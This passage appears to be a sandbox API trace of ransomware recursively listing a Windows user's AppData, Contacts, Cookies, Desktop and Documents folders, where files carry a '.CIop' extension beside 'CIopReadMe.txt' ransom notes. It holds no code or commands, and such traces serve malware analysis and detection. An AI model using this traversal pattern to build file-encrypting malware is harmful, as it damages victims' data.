returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0117.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0117.924] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0117.924] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0117.924] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0117.924] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.924] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.924] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0117.924] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0117.924] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0117.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0117.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0117.924] SetErrorMode (uMode=0x1) returned 0x1 [0117.924] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0117.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0117.924] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0117.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0117.924] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0117.925] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0117.925] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0117.925] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.925] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0117.925] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0117.925] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0117.925] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0117.925] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0117.925] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.925] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.925] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0117.925] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0117.925] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0117.925] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0117.925] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0117.925] SetErrorMode (uMode=0x1) returned 0x1 [0117.925] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0117.925] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0117.925] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0117.925] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0117.925] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0117.925] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0117.925] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0117.925] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.925] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.925] lstrcmpW (lpString1="Aclviho ASldjfl.contact.CIop", lpString2="..") returned 1 [0117.925] lstrcmpW (lpString1="Aclviho ASldjfl.contact.CIop", lpString2=".") returned 1 [0117.925] lstrlenW (lpString=".CIop") returned 5 [0117.925] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.925] lstrcmpW (lpString1="asdlfk poopvy.contact.CIop", lpString2="..") returned 1 [0117.925] lstrcmpW (lpString1="asdlfk poopvy.contact.CIop", lpString2=".") returned 1 [0117.925] lstrlenW (lpString=".CIop") returned 5 [0117.925] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.925] lstrcmpW (lpString1="chucu jadnvk.contact.CIop", lpString2="..") returned 1 [0117.925] lstrcmpW (lpString1="chucu jadnvk.contact.CIop", lpString2=".") returned 1 [0117.925] lstrlenW (lpString=".CIop") returned 5 [0117.925] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.925] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.926] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.927] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.927] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.927] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0117.927] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0117.927] lstrlenW (lpString="desktop.ini") returned 11 [0117.927] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.927] lstrcmpW (lpString1="lulcit amkdfe.contact.CIop", lpString2="..") returned 1 [0117.927] lstrcmpW (lpString1="lulcit amkdfe.contact.CIop", lpString2=".") returned 1 [0117.927] lstrlenW (lpString=".CIop") returned 5 [0117.927] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.927] lstrcmpW (lpString1="sikvnb huvuib.contact.CIop", lpString2="..") returned 1 [0117.927] lstrcmpW (lpString1="sikvnb huvuib.contact.CIop", lpString2=".") returned 1 [0117.927] lstrlenW (lpString=".CIop") returned 5 [0117.927] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0117.927] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.928] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0117.928] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0117.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0117.928] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0117.928] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0117.928] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0117.928] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.928] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.928] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.928] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.928] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.928] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.928] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.928] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.928] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.928] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0117.928] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.928] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0117.928] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.928] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0117.928] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0117.928] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0117.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0117.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0117.928] SetErrorMode (uMode=0x1) returned 0x1 [0117.928] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0117.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0117.929] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0117.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0117.929] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0117.929] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0117.929] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0117.929] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.929] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0117.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0117.929] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0117.929] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0117.929] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0117.929] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.929] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.929] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0117.929] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0117.929] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0117.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0117.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0117.929] SetErrorMode (uMode=0x1) returned 0x1 [0117.929] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0117.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0117.929] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0117.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0117.929] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0117.929] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0117.929] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0117.929] lstrlenW (lpString="Desktop") returned 7 [0117.929] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.929] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0117.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0117.929] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0117.930] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0117.930] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0117.930] lstrlenW (lpString="Desktop") returned 7 [0117.930] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.930] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.930] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0117.930] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0117.930] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0117.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0117.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0117.930] SetErrorMode (uMode=0x1) returned 0x1 [0117.930] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0117.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0117.930] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0117.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0117.930] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0117.930] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0117.930] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0117.930] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.930] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.930] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop", lpString2="..") returned 1 [0117.930] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop", lpString2=".") returned 1 [0117.930] lstrlenW (lpString=".CIop") returned 5 [0117.930] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.930] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx.CIop", lpString2="..") returned 1 [0117.930] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx.CIop", lpString2=".") returned 1 [0117.930] lstrlenW (lpString=".CIop") returned 5 [0117.930] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.930] lstrcmpW (lpString1="5eq4aL0vBSUL.pps.CIop", lpString2="..") returned 1 [0117.930] lstrcmpW (lpString1="5eq4aL0vBSUL.pps.CIop", lpString2=".") returned 1 [0117.930] lstrlenW (lpString=".CIop") returned 5 [0117.930] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.930] lstrcmpW (lpString1="5EUw6X.xlsx.CIop", lpString2="..") returned 1 [0117.930] lstrcmpW (lpString1="5EUw6X.xlsx.CIop", lpString2=".") returned 1 [0117.930] lstrlenW (lpString=".CIop") returned 5 [0117.930] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.930] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.930] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.930] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.930] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] lstrcmpW (lpString1="Database1.accdb.CIop", lpString2="..") returned 1 [0117.931] lstrcmpW (lpString1="Database1.accdb.CIop", lpString2=".") returned 1 [0117.931] lstrlenW (lpString=".CIop") returned 5 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0117.931] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0117.931] lstrlenW (lpString="desktop.ini") returned 11 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx.CIop", lpString2="..") returned 1 [0117.931] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx.CIop", lpString2=".") returned 1 [0117.931] lstrlenW (lpString=".CIop") returned 5 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx.CIop", lpString2="..") returned 1 [0117.931] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx.CIop", lpString2=".") returned 1 [0117.931] lstrlenW (lpString=".CIop") returned 5 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] lstrcmpW (lpString1="hfoKW.pptx.CIop", lpString2="..") returned 1 [0117.931] lstrcmpW (lpString1="hfoKW.pptx.CIop", lpString2=".") returned 1 [0117.931] lstrlenW (lpString=".CIop") returned 5 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf.CIop", lpString2="..") returned 1 [0117.931] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf.CIop", lpString2=".") returned 1 [0117.931] lstrlenW (lpString=".CIop") returned 5 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] lstrcmpW (lpString1="JF6Z1xvDFv.docx.CIop", lpString2="..") returned 1 [0117.931] lstrcmpW (lpString1="JF6Z1xvDFv.docx.CIop", lpString2=".") returned 1 [0117.931] lstrlenW (lpString=".CIop") returned 5 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] lstrcmpW (lpString1="MI47.xlsx.CIop", lpString2="..") returned 1 [0117.931] lstrcmpW (lpString1="MI47.xlsx.CIop", lpString2=".") returned 1 [0117.931] lstrlenW (lpString=".CIop") returned 5 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx.CIop", lpString2="..") returned 1 [0117.931] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx.CIop", lpString2=".") returned 1 [0117.931] lstrlenW (lpString=".CIop") returned 5 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] lstrcmpW (lpString1="nP0r3x5d.ods.CIop", lpString2="..") returned 1 [0117.931] lstrcmpW (lpString1="nP0r3x5d.ods.CIop", lpString2=".") returned 1 [0117.931] lstrlenW (lpString=".CIop") returned 5 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] lstrcmpW (lpString1="o1_fy8.pptx.CIop", lpString2="..") returned 1 [0117.931] lstrcmpW (lpString1="o1_fy8.pptx.CIop", lpString2=".") returned 1 [0117.931] lstrlenW (lpString=".CIop") returned 5 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.931] lstrcmpW (lpString1="obHPe.pptx.CIop", lpString2="..") returned 1 [0117.931] lstrcmpW 